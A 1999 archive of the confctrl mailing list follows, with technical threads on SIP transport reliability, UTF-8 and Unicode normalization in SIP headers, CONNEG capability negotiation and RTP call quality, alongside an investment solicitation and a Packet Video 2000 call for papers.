	Tue, 31 Aug 1999 16:18:32 -0500 (CDT)
Date: Tue, 31 Aug 1999 16:18:32 -0500 (CDT)
Message-Id: <199908312118.QAA18338@b04a45.exu.ericsson.se>
To: jdrosen@dnrc.bell-labs.com, scott.petrack@metatel.com
Subject: Re: SIP over TCP question
Cc: confctrl@ISI.EDU, shbhatna@cisco.com
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> I've always disliked all statements like "over UDP do this, but over TCP
> do that." It might be wasteful to retransmit over TCP, but then again,
> maybe not. Maybe the TCP got the bytes, but somehow the application never
> gets them, or makes a mistake putting the bytes back together into SIP
> requests....
> 
> Can't we just say that SIP is independent of the underlying transport, be
> it UDP, TCP or carrier-pigeon?

I second that. There is a small savings in bytes sent with TCP as currently
specified in the SIP draft but it is lost by the fact the even UDP 
implementations are supposed to stop re-transmitting the request once a 
provisional response is received (and since most implementations will
immediately send back a "100 Trying" response, this effectively means that
you don't gain any bandwidth savings by using TCP)

I would even go so far as to say that the reliability mechanism in SIP should
be independent of the request method, but I realize there are
reasons for doing so.

Finally, reliable provisional responses are handled completely differently
adding yet another twist. While I don't propose anything so radical as MDTP...
maybe there is a compromise that can be made here?

> Sorry for the rant.
> Scott

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Wed Sep  1 00:59:50 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA05126
	for confctrl-outgoing; Wed, 1 Sep 1999 00:59:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA05121
	for <confctrl@zephyr.isi.edu>; Wed, 1 Sep 1999 00:59:49 -0700 (PDT)
Received: from fep9.mail.ozemail.net (fep9.mail.ozemail.net [203.2.192.103])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA21433
	for <confctrl@ISI.EDU>; Wed, 1 Sep 1999 00:59:44 -0700 (PDT)
Received: from interline.aust.com (obsidian.melb.interline.aust.com [203.108.254.43]) by fep9.mail.ozemail.net (8.9.0/8.6.12) with ESMTP id RAA02939; Wed, 1 Sep 1999 17:59:19 +1000 (EST)
Message-ID: <37CCDCDA.3E3A7521@interline.aust.com>
Date: Wed, 01 Sep 1999 17:59:22 +1000
From: Kevin Payne <kevin@interline.aust.com>
Organization: OzEmail Interline
X-Mailer: Mozilla 4.51 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Scott Petrack <scott.petrack@metatel.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: How to indicate that the Subject: headers is non-English
References: <Pine.LNX.4.10.9908261942230.738-100000@petrack.metatel.com> <37CA9B72.168DDFBC@dnrc.bell-labs.com> <37CBDE96.22B496D2@cs.columbia.edu>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning Schulzrinne wrote:
> 
> Jonathan Rosenberg wrote:
> >
> > How would the application know what language was being written anyway?
> > Would I have to select "Spanish" before saying that the subject of the
> > call is "Una fiesta"? What happens if the subject contains a mix of
> > words from different languages (very common)?
> 
> UTF-8 does allow labeling of substrings by language, so this could be
> done, but I agree that this is not likely to be of much use in practice.
> One reasonable exception I can think of is that it might be used for
> automatic call routing. I suppose a tool could make this part of the
> configuration - if I use an English-language tool, the Subject text
> would be marked as such. Doesn't deal with me speaking German, but this
> is probably not that common. I believe there are even AI tools that
> automatically determine the language, but those would probably be better
> used at the language-aware ACD than at a client.
> 
> >  In any case, I'm not sure
> > what the receiving side would do with this information.
> >
> > So, I think the right thing to do is just render them as sent, and not
> > worry about what language its actually in.
> 
> Agreed, although the in-band marking would be harmless if used.
> 
> >
> > Its worth noting that supporting UTF-8 is pretty much a freebie in
> > proxy/redirect/registrar servers, since they don't need to render or
> > parse any text that is allowed to be UTF-8. A UTF-8 string with
> > non-ASCII characters is still an array of null terminated bytes, so your
> > normal strcmp, strcpy, and so on, will still work fine.
> 
> The only exception is strcmp for > or < comparison, e.g., if you want to
> sort a caller list.

The only problem with using strcmp is that it compares the octets, not
the characters that they represent.  Since Unicode allows characters to
be encoded in multiple ways, to compare a word with an "ä", you would
need to take care of the encoding of the character as a single Unicode
character 'ä' or the two characters '¨' and 'a'.


Kevin

> 
> --
> Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Sep  1 05:01:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA12658
	for confctrl-outgoing; Wed, 1 Sep 1999 05:01:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA12653
	for <confctrl@zephyr.isi.edu>; Wed, 1 Sep 1999 05:01:38 -0700 (PDT)
Received: from jaguars.cableinet.net (jaguars-int.cableinet.net [193.38.113.9])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id FAA29839
	for <confctrl@isi.edu>; Wed, 1 Sep 1999 05:01:37 -0700 (PDT)
Message-Id: <199909011201.FAA29839@tnt.isi.edu>
Received: (qmail 16035 invoked from network); 1 Sep 1999 12:01:45 -0000
Received: from unknown (HELO usr156-haw.cableinet.co.uk) (194.117.146.156)
  by jaguars with SMTP; 1 Sep 1999 12:01:45 -0000
From: newsletter <newsletter@cabot.co.uk>
To: "Cabot Software Newsletter"@ISI.EDU
Date: Wed, 1 Sep 1999 12:42:17 +0100
X-Distribution: Bulk
MIME-Version: 1.0
Content-type: text/plain; charset=ISO-8859-1
Subject: Required Expansion Capital
Reply-to: newsletter@cabot.co.uk
Priority: normal
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from Quoted-printable to 8bit by zephyr.isi.edu id FAA12654
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

                    Required Expansion Capital

Cabot Software is seeking an equity investor.

Cabot’s objective is to become a major corporation specialising in 
the Digital TV marketplace.  Supplying software products, consultancy 
services, business productivity and Digital TV business solutions to 
TV broadcasters, corporate advertisers, multimedia developers and 
Internet/WEB companies. 

Cabot Software require equity funding to expand and maximise the 
opportunity of the emerging European Digital TV marketplace.

Cabot owns product rights to a number of developed products for 
Digital TV

Cabot has extensive experience and knowledge of the marketplace.

Extensive contacts and relationships with corporate companies, 
technology partners, broadcasters and the marketplace.

Extensive proposal/quotation list.  

Corporate and private investors will be considered.

A complete business plan is available to interested parties.

Principals only please.


Please contact:

Kenneth Helps 
Managing Director 
1-4 Portland Square
Bristol BS2 8RR
England
Email: ken.helps@cabot.co.uk


From confctrl-owner  Wed Sep  1 06:30:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA15477
	for confctrl-outgoing; Wed, 1 Sep 1999 06:30:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA15472
	for <confctrl@zephyr.isi.edu>; Wed, 1 Sep 1999 06:30:06 -0700 (PDT)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA02841
	for <confctrl@isi.edu>; Wed, 1 Sep 1999 06:30:03 -0700 (PDT)
Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by crufty; Wed Sep  1 09:28:47 EDT 1999
Received: from cs.columbia.edu (ume [135.180.240.103])
	by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA26164;
	Wed, 1 Sep 1999 09:28:47 -0400 (EDT)
Message-ID: <37CD2A0E.CC932CC6@cs.columbia.edu>
Date: Wed, 01 Sep 1999 09:28:46 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.05 [en] (WinNT; U)
MIME-Version: 1.0
To: Kevin Payne <kevin@interline.aust.com>
CC: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Scott Petrack <scott.petrack@metatel.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: How to indicate that the Subject: headers is non-English
References: <Pine.LNX.4.10.9908261942230.738-100000@petrack.metatel.com> <37CA9B72.168DDFBC@dnrc.bell-labs.com> <37CBDE96.22B496D2@cs.columbia.edu> <37CCDCDA.3E3A7521@interline.aust.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> The only problem with using strcmp is that it compares the octets, not
> the characters that they represent.  Since Unicode allows characters to
> be encoded in multiple ways, to compare a word with an "ä", you would
> need to take care of the encoding of the character as a single Unicode
> character 'ä' or the two characters '¨' and 'a'.

Is there a "canonical" encoding that is somehow preferred? Is there a
wstrcmp() that does this automatically? The only problem I could see is
that if somebody REGISTERs with the two-character version and a call
comes in with the single-character version. Explaining to the customer
why this failed would be rather tricky, since they "look" the same.

From confctrl-owner  Wed Sep  1 11:49:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA27563
	for confctrl-outgoing; Wed, 1 Sep 1999 11:49:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA27557
	for <confctrl@zephyr.isi.edu>; Wed, 1 Sep 1999 11:49:24 -0700 (PDT)
Received: from pegasus.group5.co.uk (mailhost.group5.co.uk [193.128.238.226])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA02403
	for <confctrl@isi.edu>; Wed, 1 Sep 1999 11:49:21 -0700 (PDT)
Received: from GK-Portable (unverified [193.149.84.242]) by pegasus.group5.co.uk
 (Rockliffe SMTPRA 2.1.5) with SMTP id <B0000852926@pegasus.group5.co.uk>;
 Wed, 01 Sep 1999 19:38:15 +0100
Message-Id: <3.0.32.19990901180940.009be300@pop.dial.pipex.com>
X-Sender: maiw03@pop.dial.pipex.com (Unverified)
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 01 Sep 1999 19:47:28 +0100
To: Dirk Kutscher <dku@informatik.uni-bremen.de>
From: Graham Klyne <GK@Dial.pipex.com>
Subject: Re: draft-ott-mmusic-cap-00.txt
Cc: <confctrl@ISI.EDU>, <megaco@standards.nortelnetworks.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dirk,

Thank you for your comments and explanations.  I think I see scope for
constructive cooperation in this area.  I have some additional comments below.

At 18:15 18/08/99 +0200, Dirk Kutscher wrote:
>    Graham> - In section 1.3 where you discuss relationship to other
>    Graham> developments, while what you say about the CONNEG work
>    Graham> seems generally reasonable, you do not explain what is
>    Graham> accomplished by your proposal that is not accomplished by
>    Graham> the CONNEG work.
>
>The last paragraph in that section states that we aim for a simpler
>solution, so simplicity and probability of being implemented are the
>main characteristics that we thought that our approach can accomplish
>in a better way. We have therefore deliberately chosen the primitive
>"basic description language" as a representation.

Fair enough.  But I would suggest that a similar effect could be obtained
by defining a restructed subset of the CONNEG syntax corresponding to
Disjunctive Normal Form (i.e. a 2-level structure with conjunctions (&)
within a single disjunction (|)) -- indeed RFC 2533 contains just such a
description in section 5, top of page 17.  This has the advantage of being
fully compatible with the more general form.

More generally, I do believe there is useful work to be done in defining a
restricted form and simplified processing rules for simplified deployments.
 (I think the main gains here would be run-time memory requirements rarher
than code complexity.)

FWIW, on the topic of "being implemented", there is a publicly usable Java
source implementation of a CONNEG parser and feature set matching available
at <http://www.imc.org/medfree>.

>    Graham> How does your algorithm act to find a subset to "exclude
>    Graham> as few systems as possible"?
>
>Yes, this is still to be defined.

Maybe there is scope here for some collaborative work?

>    Graham> I also note that your collapsing algorithm does not handle
>    Graham> cases where different constraints are applied to some
>    Graham> given feature (e.g. one party might specify "fps<=30" and
>    Graham> another might specify "fps=15" for a video frame rate).
>
>Right, it would be required to use "fps" consistently either with a
>less-or-equal-than-comparable or a selection-of-fixed-values type.
>For simplification we decided not to allow symbolic values to be
>less-or-equal-than-comparable.

OK.  CONNEG makes the same simplifying assumption for symbolic values.

I note that the CONNEG work (and the implementation mentioned above) allow
for mixing of equality and inequality relations applied to numeric values.

>While the draft proposes to consider a successor of the Session
>Description Protocol (SDP) it is unclear at this time if the mmusic
>working group is going to adopt this (or the topic of multiparty
>capability negotiation in general) as a work item.
>
>Providing session description functionality does not only involve
>feature set definitions and feature match algorithms as currently
>defined in RFC 2533 but also additional facilities to allow for
>unnegotiable parameters of session descriptions.
>
>As you noted, the draft specification does currently no meet all of
>the mentioned demands itself, because some things are in a rather
>premature state, requiring further discussion in the mmusic group.

There are certainly some areas where RFC 2533 does not address all
conceivable requirements (e.g. see <draft-ietf-conneg-W3C-ccpp-01.txt>,
which is a response to some similar issues being considered by W3C).  The
CONNEG framework was designed (among other things) to provide a solid
foundation for exploring some of these extension areas.

There are a number of areas where it would seem to make some sense to
cooperate in building a common semantic framework to address some of these
issues.  (I am less concerned about syntax issues.)

>Right, auxiliary predicates can be used to factor out filter
>expression. As I understand RFC2533 and
>draft-ietf-conneg-feature-hash-02, the main objective is to allow for
>more convenient notations and to enable the use of references to
>external feature set expressions. Since auxiliary predicates are
>expanded before the conversion to DNF for the feature matching
>process, any reference to the named predicate is lost.

Not necessarily.  The regular structure of the CONNEG framework means that
valid and correct expressions are still obtained if auxiliary predicates
are not expanded, and remain in the DNF -- it is possible that some
mismatches are not detected, but the expressions thus obtained would not be
in error.

>When expressing capabilities for redundant encodings (which we deemed
>to be one application of composed configurations) this is
>problematic. (One should note that, at this time, our proposal does not
>contain a solution either).

Due to non-detection of mis-matches noted above, the CONNEG framework is
also not a complete solution.  But I do think it provides a sound basis for
development of possible solutions.  For example:
  - reduce to DNF form without predicate expansion
  - for each conjuunction, expand predicates and re-reduce:
    -- if the result is FALSE, eliminate the conjunction
    -- otherwise, retain the conjunction as satisfiable
(This is just an example of what MIGHT be done, not a proposed final
solution.  Any final solution must be judged in light of clear goals or
requirements.)

>Also, I have a problem with what we call "non-collapsing
>parameters". I note that RFC 2533 has the concept of "parameters" that
>can be attached to any filter value in a predicate. However, I don't
>see how these parameters, including q-values for user preferences, are
>handled in a feature match process.

Currently, they are not.  CONNEG decided that was out of scope for the
initial specification, but the dor was left open for future developments in
this area.

>We would be happy to discuss the open issues within the conneg and/or
>mmusic group as soon as a requirement and working group agenda has
>taken place in mmusic concerning this topic.

That sounds reasonable to me.

#g

------------
Graham Klyne
(GK@ACM.ORG)


From confctrl-owner  Wed Sep  1 22:45:41 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA18892
	for confctrl-outgoing; Wed, 1 Sep 1999 22:45:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA18887
	for <confctrl@zephyr.isi.edu>; Wed, 1 Sep 1999 22:45:39 -0700 (PDT)
Received: from fep9.mail.ozemail.net (fep9.mail.ozemail.net [203.2.192.103])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA08096
	for <confctrl@isi.edu>; Wed, 1 Sep 1999 22:45:37 -0700 (PDT)
Received: from interline.aust.com (obsidian.melb.interline.aust.com [203.108.254.43]) by fep9.mail.ozemail.net (8.9.0/8.6.12) with ESMTP id PAA25855; Thu, 2 Sep 1999 15:45:16 +1000 (EST)
Message-ID: <37CE0EB9.DE5C0E3D@interline.aust.com>
Date: Thu, 02 Sep 1999 15:44:25 +1000
From: Kevin Payne <kevin@interline.aust.com>
Organization: OzEmail Interline
X-Mailer: Mozilla 4.51 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Scott Petrack <scott.petrack@metatel.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: How to indicate that the Subject: headers is non-English
References: <Pine.LNX.4.10.9908261942230.738-100000@petrack.metatel.com> <37CA9B72.168DDFBC@dnrc.bell-labs.com> <37CBDE96.22B496D2@cs.columbia.edu> <37CCDCDA.3E3A7521@interline.aust.com> <37CD2A0E.CC932CC6@cs.columbia.edu>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning Schulzrinne wrote:
> 
> >
> > The only problem with using strcmp is that it compares the octets, not
> > the characters that they represent.  Since Unicode allows characters to
> > be encoded in multiple ways, to compare a word with an "ä", you would
> > need to take care of the encoding of the character as a single Unicode
> > character 'ä' or the two characters '¨' and 'a'.
> 
> Is there a "canonical" encoding that is somehow preferred? Is there a
> wstrcmp() that does this automatically? The only problem I could see is
> that if somebody REGISTERs with the two-character version and a call
> comes in with the single-character version. Explaining to the customer
> why this failed would be rather tricky, since they "look" the same.

Exactly.  AFAIK there is no standardised way of encoding the characters
(then again I'm not an I18N guru).   

As well as the REGISTER example, I can also see problems occuring if a
user wanted to redirect (or accept) calls according to Subject, From
etc.  Kind of embarrasing if your boss's calls always go to voicemail or
get rejected...

It would be really inefficient to have to convert every string from
UTF-8 to a wchat_t string and then process, even if you did so I'm not
sure that this takes care of the multiple encoding problem. 

Kevin

From confctrl-owner  Thu Sep  2 05:59:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA01610
	for confctrl-outgoing; Thu, 2 Sep 1999 05:59:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA01605
	for <confctrl@zephyr.isi.edu>; Thu, 2 Sep 1999 05:59:28 -0700 (PDT)
Received: from uran.ipl.net (uran.ipl.net [195.116.152.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA27289
	for <confctrl@ISI.EDU>; Thu, 2 Sep 1999 05:58:55 -0700 (PDT)
Received: from apq (pa184.krakow.ppp.tpnet.pl [212.160.2.184])
	by uran.ipl.net (8.9.0/8.9.0) with SMTP id OAA09217
	for <confctrl@ISI.EDU>; Thu, 2 Sep 1999 14:58:36 +0200
Message-Id: <199909021258.OAA09217@uran.ipl.net>
From: "Marcin Michalak" <mm@ipl.net>
To: confctrl@ISI.EDU
Date: Thu, 2 Sep 1999 14:58:57 +0200
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: RTP - acceptable quality ?
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.11)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
 I'm writing a telephony gateway basing on SIP/RTP, and because of 
slow internet links have a question : what's the lowest quality (measured 
by the RTCP packets), under which I should drop the call ? I can let the 
user disconnect when he/she finds the quality inappropriate, but it'd be 
better to set the limit somehow.
 Marcin Michalak, AGH Krakow, Poland
           Marcin Michalak - SQ9APQ
        	 mm@ipl.net

From confctrl-owner  Thu Sep  2 08:14:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA06090
	for confctrl-outgoing; Thu, 2 Sep 1999 08:14:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA06085
	for <confctrl@zephyr.isi.edu>; Thu, 2 Sep 1999 08:14:22 -0700 (PDT)
Received: from vanessa.diee.unica.it (vanessa.diee.unica.it [192.167.131.150])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA03852
	for <confctrl@isi.edu>; Thu, 2 Sep 1999 08:14:20 -0700 (PDT)
Received: from gwen.diee.unica.it (gwen.diee.unica.it [192.167.131.77])
	by vanessa.diee.unica.it (8.9.1/8.9.1) with SMTP id QAA17977
	for <confctrl@isi.edu>; Thu, 2 Sep 1999 16:59:38 +0100 (WETDST)
Message-Id: <3.0.1.32.19990902171246.006916e0@vanessa.diee.unica.it>
X-Sender: pv2000@vanessa.diee.unica.it (Unverified)
X-Mailer: Windows Eudora Light Version 3.0.1 (32)
Date: Thu, 02 Sep 1999 17:12:46 +0200
To: confctrl@ISI.EDU
From: pv2000 <pv2000@diee.unica.it>
Subject: Packet Video 2000
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id IAA06086
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


                          CALL FOR PAPERS
                          ---------------


                         =================
                         PACKET VIDEO 2000
                         =================


           The 10th International Packet Video Workshop


                            1-2 May 2000
            Forte Village Resort, Cagliari, Sardinia, Italy
                   http://www.diee.unica.it/pv2000/

------------------------------------------------------------------------

The 10-th edition of the International Packet Video Workshop (PV 2000)
will be held in the middle of the Mediterranean Sea, at the Forte
Village Resort near Cagliari (Sardinia island), Italy.

The workshop is devoted to present technological advancements
and innovations in video communications over packet networks,
in particular, the Internet.

Packet Video Workshops have been unique in providing a common
ground for people from video coding and networking fields.
Presentations on theory and practice, standards activities,
and business and consumer applications are encouraged.

We cordially invite you to take part in this workshop by submitting
your work and look forward to welcome you in Sardinia in May 2000
for what will be a rewarding and exciting experience!

Francesco G.B. De Natale and Daniele D. Giusto
PV2000 General Chairs, University of Cagliari, Italy

----------------------------------------------------------------------

TECHNICAL COMMITTEE CHAIRS

Leonardo Chiariglione, CSELT, Italy
Maurizio Dècina, Cefriel and Politecnico di Milano, Italy

----------------------------------------------------------------------

TECHNICAL COMMITTEE (members)

John Arnold, Univ. New South Wales, Australia
Andrea Basso, AT&T, USA
Stephen Casner, CISCO, USA
Shih-Fu Chang, Columbia University, USA
M. Reha Civanlar, AT&T, USA
Jon Crowcroft, Univ. College London, UK
Edward Delp, Purdue Univ., USA
Touradj Ebrahimi, EPFL, Switzerland
Mohamed Ghanbari, Univ. Essex, UK
Barry G. Haskell, AT&T, USA
Yu Hen Hu, Univ. Wisconsin, USA
Aggelos Katsaggelos, Northwestern Univ., USA
Jae-Kyoon Kim, Samsung, Korea
Faouzi Kossentini, Univ. British Columbia, Canada
C.-C. Jay Kuo, Univ. Southern California, USA
Steven McCanne, U.C. Berkeley, USA
James Modestino, Rensselaer Polytechnic Institute, USA
Geoff Morrison, BT, UK
Hans-Georg Musmann, TU Hannover, Germany
Sakae Okubo, Telecommunications Adv. Org., Japan
Naohisa Ohta, Sony, Japan
Joerg Ott, Univ. Bremen, Germany
Fernando Pereira, Instituto Superiore Técnico, Portugal
Majid Rabbani, Eastman Kodak, USA
Amy Reibman, AT&T, USA
Philippe Salembier, UPC, Spain
Henning Schulzrinne, Columbia Univ., USA
Gary Sullivan, Microsoft, USA
A. Murat Tekalp, Univ. Rochester, USA
Thierry Turletti, INRIA, France
John Woods, Rensselaer Polytechnic Institute, USA
Stephan Wenger, TU Berlin, Germany
Hiroshi Yasuda, Tokyo Univ., Japan

------------------------------------------------------------------------

PUBLICATIONS AND DEMOS

Luigi Atzori, University of Cagliari, Italy

------------------------------------------------------------------------

TECHNICAL PROGRAM

The technical program of Packet Video 2000 will consist of invited
talks, submitted paper presentations, poster sessions and demos.

Topics of interest include, but are not limited to:

Video processing and transmission
Video streaming over the Internet
Network adaptive video coding and transport
Packetized video for home LANs
Packetized video for wireless/mobile systems
Packet video protocols and storage formats
Layered coding for error resilience and heterogeneous networks
Packet loss resilient coding and transport 
Terminal and server architectures for Internet TV
Efficient transcoding for heterogeneous networks 
Congestion control
Error concealment
Pre and post-processing for picture quality enhancement
Statistical multiplexing for greater network and terminal utilization
Traffic shaping for efficient network and terminal utilization 
Interstream synchronization for multiple video presentations 
Packet network performance modeling and evaluation
Rate control for VBR video
Standards: MPEG4, MPEG7, H.263, H.323, RTP, RTSP, SIP, SDP
Multicasting, MBONE applications
Implementations and commercial applications

------------------------------------------------------------------------

BEST PAPER AWARD

The author of the best paper will receive a $250 prize and a diploma
suitable for framing.

------------------------------------------------------------------------

SUBMISSIONS

Please submit an electronic manuscript written in Word or HTML,
not exceeding 10 printed pages. We will produce a CD-ROM (pdf
format) containing all the accepted papers.

Submit your work in ONE of the following forms: 

1) a Word document

OR

2) a set of HTML files organized in a single directory

to:

pv2000@diee.unica.it

Detailed instructions for authors and help with manuscript
preparation can be found on the conference web page.

------------------------------------------------------------------------

SUBMISSION DEADLINES

Paper submission: December 15, 1999, 
Notification of acceptance: February 29, 2000
Final paper delivery: March 31, 2000

------------------------------------------------------------------------

LOCAL ARRANGEMENTS

PV2000 Organizing Committee
Dept. of Electrical and Electronic Engineering
University of Cagliari
Piazza d'Armi
09123 Cagliari, Italy
pv2000@diee.unica.it






From confctrl-owner  Thu Sep  2 19:06:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA02891
	for confctrl-outgoing; Thu, 2 Sep 1999 19:06:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA02886
	for <confctrl@zephyr.isi.edu>; Thu, 2 Sep 1999 19:06:22 -0700 (PDT)
Received: from fep8.mail.ozemail.net (fep8.mail.ozemail.net [203.2.192.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA11467
	for <confctrl@ISI.EDU>; Thu, 2 Sep 1999 19:06:20 -0700 (PDT)
Received: from interline.aust.com (obsidian.melb.interline.aust.com [203.108.254.43]) by fep8.mail.ozemail.net (8.9.0/8.6.12) with ESMTP id MAA03670; Fri, 3 Sep 1999 12:05:56 +1000 (EST)
Message-ID: <37CF2D08.CE7A1625@interline.aust.com>
Date: Fri, 03 Sep 1999 12:06:00 +1000
From: Kevin Payne <kevin@interline.aust.com>
Organization: OzEmail Interline
X-Mailer: Mozilla 4.51 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Scott Petrack <scott.petrack@metatel.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: How to indicate that the Subject: headers is non-English
References: <Pine.LNX.4.10.9908261942230.738-100000@petrack.metatel.com> <37CA9B72.168DDFBC@dnrc.bell-labs.com> <37CBDE96.22B496D2@cs.columbia.edu> <37CCDCDA.3E3A7521@interline.aust.com> <37CD2A0E.CC932CC6@cs.columbia.edu> <37CE0EB9.DE5C0E3D@interline.aust.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Kevin Payne wrote:
> 
> Henning Schulzrinne wrote:
> >
> > >
> > > The only problem with using strcmp is that it compares the octets, not
> > > the characters that they represent.  Since Unicode allows characters to
> > > be encoded in multiple ways, to compare a word with an "ä", you would
> > > need to take care of the encoding of the character as a single Unicode
> > > character 'ä' or the two characters '¨' and 'a'.
> >
> > Is there a "canonical" encoding that is somehow preferred? Is there a
> > wstrcmp() that does this automatically? The only problem I could see is
> > that if somebody REGISTERs with the two-character version and a call
> > comes in with the single-character version. Explaining to the customer
> > why this failed would be rather tricky, since they "look" the same.
> 
> Exactly.  AFAIK there is no standardised way of encoding the characters
> (then again I'm not an I18N guru).
> 
> As well as the REGISTER example, I can also see problems occuring if a
> user wanted to redirect (or accept) calls according to Subject, From
> etc.  Kind of embarrasing if your boss's calls always go to voicemail or
> get rejected...
> 
> It would be really inefficient to have to convert every string from
> UTF-8 to a wchat_t string and then process, even if you did so I'm not
> sure that this takes care of the multiple encoding problem.
> 
> Kevin

It would appear that the W3C have addressed this problem and there is a
Uniform Character Model for use on the web, at:
   http://www.w3.org/TR/WD-charmod. 

(This is a working document so of course can't be referenced by a RFC
:-)

In particular, the document refers to using "Unicode Canonical
Composition (Normalization Form C)", which is documented in Unicode
Technical Report #15, another draft report :-(

  http://www.unicode.org/unicode/reports/tr15/tr15-10.html

There is even a PERL 5 script available to normalise (or normalize :-)
UTF-8 data, available at

   http://www.w3.org/International/charlint/ 

To reduce the overhead of normalising UTF-8 data at every place that it
may be compared, it makes sense for SIP to specify that the input
endpoints normalise the data at the edge of network, the various strcmps
will then work much more efficiently.

Kevin

From confctrl-owner  Fri Sep  3 03:52:22 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA17952
	for confctrl-outgoing; Fri, 3 Sep 1999 03:52:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA17947
	for <confctrl@zephyr.isi.edu>; Fri, 3 Sep 1999 03:52:20 -0700 (PDT)
Received: from nausicaa.coritel.it ([193.205.242.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA07750
	for <confctrl@isi.edu>; Fri, 3 Sep 1999 03:52:17 -0700 (PDT)
Received: from athena (athena.coritel.it [193.205.242.51])
